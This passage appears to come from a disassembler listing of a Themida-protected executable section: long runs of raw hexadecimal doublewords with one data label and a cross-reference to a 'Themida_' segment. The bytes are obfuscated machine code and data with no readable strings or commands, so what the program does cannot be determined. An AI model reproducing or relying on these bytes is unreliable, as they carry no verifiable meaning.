0F08B6005h, 6B508CBAh, 858D615Dh dd 5E57A61h, 60F9D0FFh, 0CC5858Bh, 61F905E2h, 4157858Dh dd 0B70F05E5h, 418589F3h, 8B05E20Bh, 6A206AF1h, 4195FFFFh dd 3505E20Bh, 53504149h, 1FED85C7h, 105E2h, 85C70000h dd 5E2134Dh, 0 dd 0F924BE66h, 0C5B52353h, 5A05E229h, 1CA1BD83h, 0F0005E2h dd 6C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0E1A7559Ch, 4FB7B97Eh, 66506F15h dd 8B5ED18Bh, 0E2331985h, 0E18D8905h, 6405E209h, 0A3h dd 0B1858B00h, 0F05E204h, 18Ah, 0E08BF800h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F6C35747h, 8BC6E07Eh dd 89BD83D6h, 5E20Eh, 4B6850Fh, 8B660000h, 4985C6D0h, 5605E20Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h dd 2124372Fh, 7E9B92Ah, 37000000h, 9D4F4F91h, 66522783h dd 25E681h, 0FABE665Ah, 4E831h, 30DF0000h, 0DE9A9C5h, 64000000h dd 6EA445C8h, 0D56F3C9Ch, 974E75F9h, 8E4BBE50h, 448B5D0Fh dd 14E80424h, 6C000000h, 4F6C2A72h, 398E86F0h, 23C802F6h dd 0A34B7C7Fh, 0E97CD906h, 11h, 0D8CB2411h, 0DDF60AF8h dd 246D881Dh, 9B3656A7h, 8B5A0Ch, 4489D08Bh, 8B660424h dd 8D2958F7h, 5E216BDh, 16A1B5FFh, 235205E2h, 0E2262595h dd 858D5A05h, 5E57A61h, 0D9952Bh, 0D0FF05E2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 79C35545h, 0CEAA37B5h dd 92CD73ADh, 0C232BA90h, 66506866h, 8090F38Bh, 8D8D03CAh dd 5E21859h, 6860Fh, 0B5310000h, 5E2185Dh, 91D18B66h, 1E45BE66h dd 48D7BE50h, 6A9102EAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 952FC357h, 75300710h dd 8D89046Ah, 5E23165h, 0E94C2768h, 2434817Fh, 7FE95C27h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2C35343h dd 38684EACh, 33158D89h, 0B5FF05E2h, 5E22A95h, 68A0Fh dd 95290000h, 5E204DDh, 0B70F6060h, 0C1B70FF0h, 58E0F61h dd 0B9000000h, 0A97B780h, 6AD0FF61h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 149FC353h dd 1DD8D600h, 0E2309E55h, 2A95BD8Bh, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 6E8E7C3h dd 85000000h, 0E5C691BCh, 0DB58BD0h, 5E05E209h, 3F6B70Fh dd 0BD893C7Fh, 5E214D1h, 0F8C781h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 40226DC3h dd 8597D33Ch, 3830Fh, 8B660000h, 0F7B70FF1h, 202447C7h dd 6A600000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0BBA1C355h, 3C8876EDh, 4BFE855Bh dd 91F2BD83h, 0F0005E9h, 1B384h, 69B58900h, 305E21Bh, 0E217C1B5h dd 28C78305h, 0C7F08B66h, 696A2E07h, 8E964h, 53C40000h dd 0E35C9C8Eh, 47C74B7Eh, 61746104h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C7B193EEh dd 642F74AEh, 858B5E51h, 5E991FAh, 8DCCBE66h, 6A0C4789h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 122C353h, 0E214A585h, 0FE858B05h, 8905E991h dd 0E20FADBDh, 895A5605h, 6A0847h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 5AF053C3h, 538A76DFh dd 9D29DB34h, 5E210F1h, 9E9h, 0B8C8C100h, 10616303h, 0C78314F3h dd 51006A28h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 77283422h, 8509EF0Ch, 5E203D9h, 632E07C7h dd 890F6E6Fh, 0Bh, 5800Fh, 49BA0000h, 0C764874Bh, 69660447h dd 10E90067h, 0A0000000h, 526818B5h, 39E0373Bh, 9BAC4500h dd 8BAB6F72h, 0E991F685h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0B9AA088Dh dd 89C1D43Bh, 6A0C47h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 527A09C3h, 29C52A25h, 0E21B5985h dd 0F2858B05h, 8B05E991h, 0E20FB5B5h, 89D08B05h, 6A0847h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0D15803C3h, 0F8FDAD3h, 388h, 0F1D68000h, 59953358h dd 8D05E205h, 0E21EC18Dh, 358D3105h, 9105E231h, 0F0B3BE66h dd 8B665150h, 0F915AD3h, 68Bh, 0F59D8900h, 0FF05E204h dd 0E21859B5h, 5D858905h, 8905E226h, 0E22FD1BDh, 0E6A86805h dd 8B664C1Ah, 243481D6h, 4C1AF6A8h, 64D958Bh, 0B5FF05E2h dd 5E22A95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0ADC35545h, 120319D0h, 0E9F28B2Ch, 0Eh, 0A7ED9255h dd 7BD25209h, 8302135Fh, 0D0FF55A2h, 1003BE66h, 0B8h, 45B58B00h dd 0B05E20Ah, 68840FC0h, 89000000h, 0E2197195h, 0A9B5FF05h dd 6A05E201h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0E8A1C351h, 14h, 8B22A6C8h, 66013441h dd 0DF7C53B2h, 24F2F978h, 91CBEB32h, 10E8h, 2861CB00h dd 4E9C001Ah, 7E9E9B18h, 0A57E35D8h, 0F28B66F0h, 0BD895A5Ah dd 5E221E9h, 0B1595FFh, 8BFC05E2h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 25A9827Bh dd 8BE8CE7Fh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h, 53501974h dd 2DB8C08Bh, 89000004h, 0E21DD585h, 619D8D05h, 0FF05E4B3h dd 83585BD3h, 0E21805BDh, 17740005h, 2DB85350h, 89000004h dd 0E21DD585h, 29D8D05h, 0FF05E4B0h, 6A585BD3h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 3342C355h, 0EAEE2C03h, 0BE042086h, 5D21EC51h, 0C08BD68Bh dd 7E8C08Bh, 9F000000h, 48032F29h, 59F9BB6Bh, 28A0Fh, 0C68A0000h dd 754AC181h, 85330000h, 5E218B9h, 1D33BEh, 0A1850900h dd 0FF05E221h, 518D3131h, 5A05E21Bh, 0A8F281F9h, 8945F659h dd 0E200D9B5h, 3DC28105h, 0BB1D860Ch, 2C7BC0E4h, 8151F281h dd 0BD0B36BFh, 5E22651h, 5E1BB852h, 18F3DB6h, 95BD0352h dd 5F05E226h, 7455E981h, 0B86644CCh, 0C1815629h, 44CC7451h dd 0F4ED88Bh, 0FFFFAA85h, 0DEB866FFh, 0ED8D8DF7h, 6A05E99Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0D204C357h, 7E1C510Dh, 0B52939CEh, 5E21FB5h dd 0BE98D89h, 7E805E2h, 0D4000000h, 62F3367Eh, 0BD8BD33Dh dd 5E223F9h, 6185C75Bh, 0C405E207h, 6A000063h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 7753C352h, 467290D1h, 798589h, 85C705E2h, 5E21B55h dd 0 dd 1DC9B5FFh, 953305E2h, 5E215FDh, 0D08B6651h, 1595FF5Ah dd 6A05E20Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 244AC352h, 0BD03520Ah, 5E23195h dd 0FF006A5Bh, 0E20AB995h dword_5679A4 dd 0EBC08B05h, 0F2BF4A6Dh, 0A7CE44BAh, 4458E050h, 1270FD74h ; DATA XREF: Themida_:004EE8A0o dd 0B0DCD18Bh, 5C374A2h, 4EBBAC65h, 0B934B9BDh, 0E19036DDh dd 0AA3B0711h, 0A00CBAEAh, 0D61AEE9Ch, 0D232B532h, 914BFA1Bh dd 1C009AFBh, 0E2FF921Fh, 191C3AE0h, 0AF164777h, 0BFF89367h dd 6ABEDBD0h, 2B70CCA7h, 14E77DAh, 0F745EDF8h, 2994AC70h dd 5BED1E46h, 184B2334h, 11AFF02Eh, 0C08B1725h, 17Ah dup(0) dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 1B6C9624h, 0CE9FCCCh, 0EE000000h, 0C2DCFBA3h dd 71E680DBh, 9D75F47Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 8CC35040h, 52BA98D5h, 0F8AC3365h, 51006A61h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 1076E5D4h, 881128FEh, 9E937F1h, 26000000h, 82953190h dd 2C1391B3h, 56006A5Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 13FBFADh, 6A082444h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3022C357h dd 2159806h, 12E9E365h, 0D000000h, 0DB714612h, 0DC2D2B69h dd 0B35497CCh, 49AFF823h, 10E943h, 0FC3C0000h, 0A32DD0C1h dd 0BCDD8F00h, 7C52FB89h, 0E958312Ch, 9, 0F3152BF1h, 0ABFBB08Bh dd 0FCC39DD5h, 88B0FF5h, 0F000000h, 285h, 0FC616000h, 820FC08Bh dd 0Bh, 5860Fh, 80BF0000h, 81035FA4h, 0BC1A44C0h, 0CB81661Fh dd 880F3059h, 2, 0C780CA8Bh, 7E9D2h, 4C680000h, 4E647691h dd 6EBE6650h, 0F18B665Fh, 7E956h, 0CEDE0000h, 11F1FA59h dd 81F85877h, 0A4FFABDEh, 0DEB70F4Bh, 2870Fh, 0C28B0000h dd 890FF98Bh, 5, 37889B8h, 4CBE6016h, 61542DBFh, 7E953h dd 0AE0F0000h, 56411DECh, 60525F18h, 8C0Fh, 81660000h dd 61B09BEEh, 28DF8158h, 805D012Bh, 0BF0F81EFh, 14E960F7h dd 21000000h, 0E5A08B83h, 0FB83510Ah, 0C48616FCh, 0C064A044h dd 6164D430h, 0AE9h, 7B8AAE00h, 0AB7962D7h, 66060963h dd 630AF281h, 7ED5B8F8h, 0F3803E33h, 4820FC8h, 66000000h dd 0F8299EB9h, 3890F60h, 0F000000h, 0B70FCFBFh, 11E961F6h dd 25000000h, 0AF18534h, 7EFA84A5h, 66BD3D1Ch, 0F9CA4FE6h dd 6E9h, 94EB0500h, 0FD3131Eh, 89h, 0FA8B6600h, 66C1B70Fh dd 6E9CE8Bh, 67000000h, 0C6EBDFA5h, 0D08BF52Fh, 2840Fh dd 0EA8A0000h, 86A5B866h, 10E9h, 6CEA4C00h, 13D580Fh, 0FCD4C8CDh dd 65255B9h, 8B1FB6AAh, 800F52D0h, 0 dd 74D3815Ah, 667B20F4h, 8152CE8Bh, 719362EBh, 0AE95A6Ch dd 97000000h, 0AF967997h, 0A65DC0E7h, 0B866536Dh, 605ACB94h dd 0F5705B2h, 82h, 52615A00h, 0D38B6660h, 2708B866h, 0FE95F61h dd 0E6000000h, 64D2658Bh, 11AD14EAh, 0F58619Bh, 8160E9F4h dd 14C234EAh, 0F9BF0F59h, 0E9FE8B61h, 13h, 0E23F9840h dd 180A92A0h, 34A819D7h, 92BFAA5Eh, 0F591E05Fh, 60FABF0Fh dd 0A6DA8166h, 0C38160CDh, 0FC12EB1h, 61F0BF0Fh, 54BE6661h dd 0A10BBFF7h, 0E8524983h, 7, 5B0D8C2Bh, 0E979FC14h, 0Ch dd 0A28C0A0Eh, 53A13DB8h, 34821C95h, 5B85B59h, 8055B50Ch dd 0DA8054C3h, 816660D2h, 0E9BE87E3h, 5, 93AB4947h, 0E85161FCh dd 13h, 578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 0FF5AF94h dd 82h, 66595B00h, 66B2E3B9h, 8166F18Bh, 0F8D00ECBh, 0DE9F18Ah dd 0E0000000h, 3411DCC0h, 0F59B0551h, 54BAE289h, 0D8816656h dd 0E95F9A74h, 10h, 48591C7Ah, 89465A91h, 7CB59C1Dh, 56CE859h dd 8921BB66h, 0DEBF0FF8h, 9E8E78Ah, 36000000h, 608250F9h dd 424A74CBh, 58F28B66h, 0E9C38A60h, 0Dh, 51B5CB7Fh, 83D7E214h dd 875F4F21h, 30B96157h, 0B9151B17h, 39E732DDh, 3134E981h dd 0F78156D0h, 35BB80BDh, 0E8CA8B66h, 10h, 99C95256h, 62DDCD54h dd 6B0EE677h, 5A723CD1h, 198D0Fh, 13E80000h, 0E5000000h dd 2399BE28h, 737B769Eh, 0C7BFC543h, 99A46EDCh, 5A5BA359h dd 8C0Fh, 800F0000h, 5, 19DB8166h, 0FFBF0F44h, 5810Fh dd 81660000h, 6086E0EFh, 2AE98166h, 0FEB70F78h, 0C2816661h dd 81664959h, 0B974A0E0h, 77ED6150h, 0BE8h, 0A690E500h dd 69CD28FAh, 6EC261A5h, 0D0D28166h, 0EA8A5A2Dh, 10E9h dd 22B05C00h, 0D4106CA5h, 0A1F99904h, 0E5D647B7h, 0EB816620h dd 0B70F546Ah, 7E8DBh, 1F2C0000h, 0EBCEC0E2h, 0DA8B6627h dd 0F98B665Eh, 0F830Fh, 0AE90000h, 44000000h, 59268F03h dd 36A2EAE2h, 0EE9CFh, 83590000h, 56A42D83h, 0B3D25A05h dd 752C8061h, 12E9h, 0CB7B6E00h, 31F55301h, 0AB4947C0h dd 6FCEFC93h, 0F6ECD77h, 0C781D8BFh, 1CDF992h, 0F08BC68Bh dd 9E9FCh, 0C6010000h, 0F2A94955h, 66C11374h, 0B70FFA8Bh dd 0E9FEB7D6h, 8, 0C3081CFBh, 2A5B1BF9h, 0AE8h, 0E96FA000h dd 7B9C3BC1h, 81A76E31h, 61A364F6h, 50575A01h, 5E5BC88Bh dd 66DA8B66h, 8E0FFE8Bh, 4, 5EF88B50h, 0C181D38Ah, 69002169h dd 0FE9h, 0FEA05E00h, 8C84B738h, 0D3CA4994h, 0E953F505h dd 8B666051h, 0FE9D0h, 5E0000h, 0D30D9430h, 10296676h dd 0CDB944CBh, 0F5A61F0h, 98Eh, 3850F00h, 66000000h, 6E9CA8Bh dd 7F000000h, 0C25946AAh, 5E836h, 0BEC50000h, 66FD6AACh dd 8C62F281h, 0DE859h, 60B50000h, 0EBB2EEC4h, 0EC0F404Bh dd 0B3EB1C8Ch, 25B85FE6h, 0E93107A0h, 8, 7AF74F49h, 8E244E30h dd 28F0Fh, 0E4B60000h, 3344C081h, 0DE87633h, 0BF000000h dd 495EC5C0h, 7828DFACh, 9019AF08h, 5BCBB70Fh, 38B0Fh dd 0D6800000h, 5870F0Eh, 0BB000000h, 3BEACFBFh, 7028BA66h dd 0CE8h, 92A7B000h, 0E90633D7h, 68D8DB3Ah, 5BAEB112h dd 9E8h, 0D66C8300h, 0A18BC2ACh, 8A0F1AD1h, 3, 5ADAEB80h dd 5850Fh, 56B90000h, 665501C1h, 60EF1DBBh, 7E9h, 12351400h dd 9097385Eh, 61F6BF0Fh, 6E9h, 29B4E800h, 0BEFFC326h, 3B5366h dd 0B2EE2CBAh, 9FC6817Ah, 0E94AA84Eh, 0Eh, 4EBA9C2Ch, 360DC9CEh dd 49420040h, 56F816D8h, 9E8h, 25C7CE00h, 6EA3F34Dh, 14E94C21h dd 0A4000000h, 7E76DB08h, 0D7EF3760h, 0A87CEEE6h, 626D8621h dd 5E735DE7h, 0E9BCB45Fh, 12h, 0D60F4C8h, 0D5A0EE7h, 0A5547149h dd 3B8141EEh, 28B7505Ch, 0CE9h, 13793A00h, 0E849B274h dd 0ED4827Ch, 0CA8B66E9h, 0FE52BB66h, 0E9FEB70Fh, 6, 1F69C782h dd 6660E019h, 2405F181h, 0DE9h, 6D720100h, 0EFF8E3D6h dd 54F40CAEh, 6661DE3Eh, 0BE66DA8Bh, 4DB63504h, 9E9h, 0BB285800h dd 35467DAh, 6E8331Fh, 0C3000000h, 9A9E5FD0h, 0FE960D5h dd 0C3000000h, 4AE5E0B3h, 1C27A1C9h, 67979574h, 0CF8B070Bh dd 81515961h, 1EDE78EAh, 8B665E24h, 0ACC8BBC2h, 5E979D6h dd 27000000h, 5AF29FA5h, 3800FF8h, 80000000h, 66FC62D3h dd 6E9CA8Bh, 0B5000000h, 0ED4F1F2Fh, 0C9BB6682h, 28A0FC1h dd 0B3000000h, 0EE8BFh, 35490000h, 26C94935h, 0A01AC8E3h dd 231C79Ah, 2D53D381h, 0E95F2C31h, 9, 0E0957F52h, 9EF83CB7h dd 0EE9F83Dh, 7B000000h, 0A1D7905Ch, 82008065h, 4D9AA630h dd 6650F822h, 5990E4BAh, 8800Fh, 81520000h, 0E541AAE1h dd 0B8575947h, 4C2260B5h, 38B0F5Ah, 0F000000h, 10E9F9BFh dd 70000000h, 0E7344F70h, 0A4C3C54Fh, 9EFC431Ch, 0E9999119h dd 13h, 0E5F720CFh, 0BE31ABB7h, 53547760h, 99E45DDEh, 0F83CA19h dd 280h, 66D68B00h, 0F681DF8Bh, 4CF3B1DBh, 38E28060h, 0C0BF0F61h dd 2860Fh, 0DD8A0000h, 0AE98A3BEh, 0C18B6601h, 7E9h, 0B1526E00h dd 3075A310h, 7E960h, 0E9D80000h, 0DE525D54h, 6145B70Eh dd 0A41FB866h, 3800Fh, 8B660000h, 0E9D38BD1h, 12h, 3E187B25h dd 0F566CA3Ah, 144EE076h, 0B2C684A1h, 0BF0FE873h, 9887B9CBh dd 0E9577B08h, 0Ch, 964F6285h, 0E8C06C35h, 35A223BDh, 58DF815Bh dd 526F6914h, 592BBF52h, 585A7EBEh, 66F08B66h, 0F281F08Bh dd 584E8C45h, 0E960CE8Ah, 0Dh, 74F779E6h, 14BAA2C6h, 0B789D0FDh dd 7387BB1Fh, 66614B58h, 8B66FE8Bh, 0DE9D0h, 3B520000h dd 39E037h, 729BAC45h, 8149AB6Fh, 3E9556F1h, 0B3C68A6Eh dd 0CE8B6603h, 0DE81FE8Ah, 55F6DDC3h, 0AE960h, 0FD480000h dd 0F35030FCh, 690C39D4h, 0C6C18166h, 8F0F611Fh, 2, 9DB250B5h dd 706EBB66h, 66FABF0Fh, 0B8461ABBh, 707DEF5Eh, 0DE8h dd 4584DE00h, 0DC4A16B8h, 0B841483h, 7E980C2h, 0BB000000h dd 70562944h, 0F59A635h, 488h, 1CBA6600h, 0BB66F8A4h, 0E2B6AF27h dd 0E4A7C681h, 800F0F0Ah, 0Bh, 5820Fh, 81660000h, 0E9EE02F1h dd 0Ch, 0AAD7D37Ch, 83D2CA6Eh, 0A7B08772h, 0E9F7B70Fh dd 5, 9F3A352Ch, 5860F31h, 66000000h, 6DE2D781h, 12E960h dd 220000h, 0B31CF4D4h, 1490230Bh, 77FAAFD3h, 0F6950D6Eh dd 5850F61h, 0BE000000h, 61742CBBh, 78E8BA66h, 6ABDBE66h dd 2830Fh, 9AB30000h, 6614B660h, 21DAD181h, 2810F61h, 8B000000h dd 7FB866F3h, 0CE8B66DEh, 0A7B3D081h, 0E3817D9Eh, 53473297h dd 62B5D781h, 9E918C7h, 0BC000000h, 952B7136h, 4CE56A84h dd 2860Fh, 0F88B0000h, 0E9B9CD80h, 9, 0ED925579h, 0D25209A7h dd 1ED0817Bh, 0F3CCE28h, 148Eh, 0FE900h, 3A1A0000h, 58F508EEh dd 98115843h, 9940E536h, 0AEE7814Dh, 664301EFh, 0C593E081h dd 80DA8B66h, 0B966DEECh, 0BE661C27h, 0AE9F33Eh, 5B000000h dd 0A8556FBCh, 0EAEC6D80h, 0C68B668Ch, 10E8h, 5B85A00h dd 446EBC4Ch, 0A14F9B2h dd 4262D6CAh, 9E95FE3h, 0CD000000h, 7612DD7Dh, 0D7466067h dd 53CB8B66h, 5BD7BF0Fh, 0BE9h, 0CDADD800h, 2B4C1A1Ch dd 0CB9FB466h, 66C88B60h, 22A3C181h, 92E98061h, 5392BE66h dd 14E8h, 0E5154D00h, 4EB018ADh, 0F586F9A4h, 1399396h dd 269065B1h, 7E95A34h, 31000000h, 0A6991B07h, 8B667D61h dd 7E9F0h, 0FAA10000h, 6A349469h, 60CB8A35h, 4890Fh, 0BA660000h dd 0E78AE167h, 6FBF5661h, 5F7F4743h, 13CE8056h, 48A0F5Bh dd 66000000h, 810A1FB9h, 0E5F979CBh, 1EE814Ah, 0F4428E4h dd 8B66DAB7h, 4BBE66D1h, 0D680605Ah, 68D0F05h, 81000000h dd 118D7AEEh, 860F612Eh, 1Eh, 18880Fh, 12E80000h, 5B000000h dd 561795F4h, 700B2226h, 0FDFBE2D0h, 0EFA20D7Dh, 8B95848h dd 0E8701D17h, 0Fh, 0D36F01Fh, 282548EDh, 7E5FF0FEh, 6601BFAFh dd 665FD68Bh, 0F68BC981h, 12C2F5B9h, 8B66566Dh, 59565ADEh dd 4840FF5h, 66000000h, 0F7A2BB9h, 168Dh, 0DE800h, 7F230000h dd 6A34B7Ch, 0D11D7CD9h, 0F18297Eh, 0F5BD3BFh, 188h, 0DE9F900h dd 16000000h, 0B37AA0BAh, 1F750089h, 0D3B57DB5h, 4DCE8166h dd 1ABF662Eh, 58C68096h, 5C2EFEBBh, 10BA6641h, 0C0BF0FCCh dd 12E8h, 0A0E1700h, 3DB8A28Ch, 1C9553A1h, 62483482h, 6076BBB4h dd 0D6E7CF81h, 8B665745h, 665A61C2h, 92B7F28Bh, 0C081CDB1h dd 76F74A42h, 71BB40B8h, 0E9F8B17Fh, 14h, 24544A9Eh, 92B8816Ch dd 923EC072h, 0AA913888h, 7CB41D8h, 80F13FBAh, 0BB7FBB15h dd 8B664E71h, 48D0FD6h, 66000000h, 0B9FEDEBFh, 73AAC736h dd 8BC7B70Fh, 97D880C7h, 88E0Fh, 0F600000h, 0BF0FFAB7h dd 816661FFh, 0F3BFDC3h, 580h, 0E8816600h, 0C38B3583h dd 0F2BA66F5h, 0D68B6696h, 0F081EF8Ah, 0C5BFC03h, 0FD6B70Fh dd 0C880C7BFh, 1D7BBFEAh, 9FB031C8h, 0F9CFB70Fh, 908EA81h dd 0F2BB6BE6h, 0FC2E9730h, 66D1B70Fh, 0BE21F081h, 0B866F08Bh dd 60FCC5D8h, 0AE9h, 60BCBE00h, 0A78ECC45h, 0F96E4890h dd 1D9BBF61h, 0E6BF3009h, 0F559976h, 118Ch, 0CE900h, 0AEAF0000h dd 72CE29CCh, 0E1C98A64h, 0EE9EE08h, 0AC000000h, 6E445A5Fh dd 1EEF287Ch, 44E9A854h, 0EBD480B7h, 0D08BB4B3h, 17E18166h dd 66E58A9Ch, 8BA7C081h, 0BA6660F9h, 10E99A26h, 39000000h dd 0F9ABBF39h, 8C9AAFF3h, 33A7F752h, 61338A56h, 25C9BB66h dd 14E90BB3h, 81000000h, 8FEA4169h, 0FCCF2A27h, 21F7FCEAh dd 7B1C3C3Bh, 80C95FB1h, 840FD0D3h, 6, 870Fh, 2CB30000h dd 0E810Fh, 9E90000h, 6A000000h, 2A1F24A5h, 0F7279297h dd 0C3BF0F60h, 164BFAB9h, 0D2806174h, 9E9EEh, 2DCD0000h dd 9FCA6D7Eh, 6613E981h, 0D2CBE781h, 58B0Fh, 15B90000h dd 0E92F65E0h, 0Dh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h, 0CAB70F89h dd 0BDBABE66h, 2C96BF66h, 0E9FEB70Fh, 9, 0BA057600h, 102CCDBDh dd 1B7ABE14h, 0BE665B66h, 0FE8922Fh, 91000000h, 978E7C94h dd 0CB4D0D96h, 7ABDE963h, 0BB66B1AEh, 0BA597454h, 2B53204Ah dd 0A9C38166h, 0EE88Fh, 3B6D0000h, 894AA578h, 610A9549h dd 82F25739h, 6840Fh, 8C0F0000h, 0 dd 1CE9B85Fh, 0CE94985h, 2B000000h, 39F7C93h, 0E32E5D78h dd 57194C50h, 0E8F0Fh, 8E80000h, 0E8000000h, 8CF4C4B6h dd 5892EEE4h, 3870F5Eh, 66000000h, 66FCF28Bh, 1FA8E681h dd 28D0Fh, 0F78B0000h, 2800Fh, 0D78B0000h, 57ACB866h, 8B70CE80h dd 8B6660FEh, 61FBB1CAh, 80D2B70Fh, 0F56EBE3h, 589h, 730BE00h dd 8A591E0Eh, 68E0FCFh, 81000000h, 15218AC2h, 0A6BE5752h dd 584D652Fh, 8E860h, 0C39C0000h, 0AD23D6ADh, 0BE662036h dd 0FC59A7F4h, 0DE961h, 3F4B0000h, 0E69A09FFh, 707B7D4Bh dd 666BB8E0h, 6A9ADE81h, 80D8B70Fh, 81F91AF7h, 7D741CDBh dd 10E96Eh, 0D8610000h, 0A590FA3Eh, 0EFF0EE12h, 8C5928F6h dd 0FCF8FADBh, 4567DB81h, 0F501918h, 286h, 5AFC8A00h, 0AAE98160h dd 660EEB65h, 0F61C78Bh, 138Fh, 0EE900h, 8E840000h, 1BB9CA0Fh dd 66194D1Bh, 3546DE1Ah, 0E9F56060h, 0Ch, 5409D14Eh, 77FDA53Dh dd 4E005C4Bh, 5E861h, 2FB30000h, 0E96762EDh, 7, 0B0877283h dd 5ED792A7h, 8B666061h, 585161DEh, 0DE8B66F9h, 870F6052h dd 0 dd 61C3B70Fh, 0F2B9665Fh, 2653BE67h, 0C28B306Ch, 60605FB2h dd 0A198E681h, 0B70F2DBDh, 8B0F61F9h, 0Ah, 5E9h, 0CB8CE900h dd 66614DE0h, 0FA817B8h, 5060D8BFh, 0B8E88166h, 0BF0F5EC9h dd 0BF6661F3h, 4FB00068h, 5199EE81h, 8B660E82h, 3810FFAh dd 0F000000h, 0B9FCD0B7h, 32D641D8h, 0C0BE6650h, 12E959B1h dd 8B000000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h, 0A2E360EAh dd 0E94CB075h, 10h, 288C781Ch, 9FC8CE1Fh, 5E98A9FFh, 7E623A26h dd 0F4BB6650h, 0DE9584Ah, 0E1000000h, 5776C219h, 0F9625729h dd 735845E4h, 0D0C28166h, 11E901h, 30C10000h, 0A281B6EFh dd 3B28D89Bh, 3F909495h, 80E086AAh, 0BF0F07C6h, 8A0F60CBh dd 6, 860Fh, 59B60000h, 7E961h, 600B0000h, 5A9722FAh, 0FEBF0F8Ch dd 0E9C8BF0Fh, 9, 13FE9D60h, 0FA53B0B3h, 18A0F53h, 0F8000000h dd 0FF98B66h, 285h, 53FB8B00h, 12E856h, 6A460000h, 0C65F885Fh dd 0DD5CF6ABh, 0E49939BBh, 5B3B06E5h, 8B5F5F5Fh, 0D38B66CFh dd 0B8C0Fh, 8F0F0000h, 5, 0BDD5CFBAh, 5E83Ch, 46EF0000h dd 0E9A40774h, 11h, 6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh dd 14E959E2h, 6B000000h, 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh dd 0BFA7731Fh, 66B03349h, 3D02E681h, 11E8h, 4852EF00h dd 0F41B4C0h, 86C660E7h, 0E62E16F4h, 8166B607h, 5B8869E9h dd 0C78045B1h, 696BBA6h, 810F1F10h, 0Ah, 0F616060h, 8Eh dd 8A0F6100h, 3, 0E9FBB70Fh, 10h, 7D79BC2Dh, 0F73D5ED1h dd 4EB5558h, 864532C6h, 0D78B6656h, 14E859h, 0B6E10000h dd 513E71D3h, 8ABD06Fh, 0E4465F08h, 6396C5C8h, 0BE9CF0Ah dd 0B0000000h, 25206D6Ch, 0A710F5B0h, 0E95E7C32h, 8, 74C2375Dh dd 0A47139A3h, 60C88B66h, 59F88B52h, 11E9h, 0E6535C00h dd 465C9112h, 0C45A02Bh, 9E8818D5h, 81615E4Dh, 0B6A327EBh dd 0BDB76030h, 3880F61h, 80000000h, 51B258D2h, 1890Fh dd 0E9FC0000h, 14h, 37AD0A09h, 68908792h, 913AFF9Ah, 0A637D134h dd 866181E7h, 0FF927B2h, 8166C2B7h, 60B3D0DBh, 0C2BCBB52h dd 0E9590B5Dh, 14h, 16BF8E74h, 7D54C957h, 7AFB315Eh, 0B1ADB47Ch dd 0D0EDC5D9h, 7E9FC61h, 67000000h, 4FEF7F0Ch, 0D18BF0BDh dd 3D021B9h, 0F3B70F55h, 0CE9h, 0E3CEC800h, 55D5A3B0h dd 74D98E66h, 4850FB0h, 66000000h, 668603B9h, 0F6ED6BBh dd 385h, 1CF68000h, 0EE9h, 0C251DB00h, 0D6B6EAFEh, 0C1AD8486h dd 668DF397h, 81F8C28Bh, 0FFF1D1F2h, 0FDA8A20h, 0E8Dh dd 9E900h, 0B41B0000h, 79635B32h, 81B6D54Ah, 8523AAE9h dd 52EB815Dh, 0BB2B13E1h, 6556ABB5h, 5E8h, 8BF1B400h, 8B668FEEh dd 0B5535BC7h, 0F2BE5B65h, 0B233A0ADh, 6E9FAh, 4EDD0000h dd 0A02A9E2Fh, 5E8h, 480EC500h, 6659CE0Ch, 66477EBEh, 0FFCC68Bh dd 387h, 0D8BF0F00h, 8A0Fh, 860F0000h, 0Ah, 5E9h, 84EFAE00h dd 0BE667B84h, 0CFB2D1EAh, 0CB8B5360h, 0FA8B6158h, 14E9h dd 0E4621800h, 0F8B25D74h, 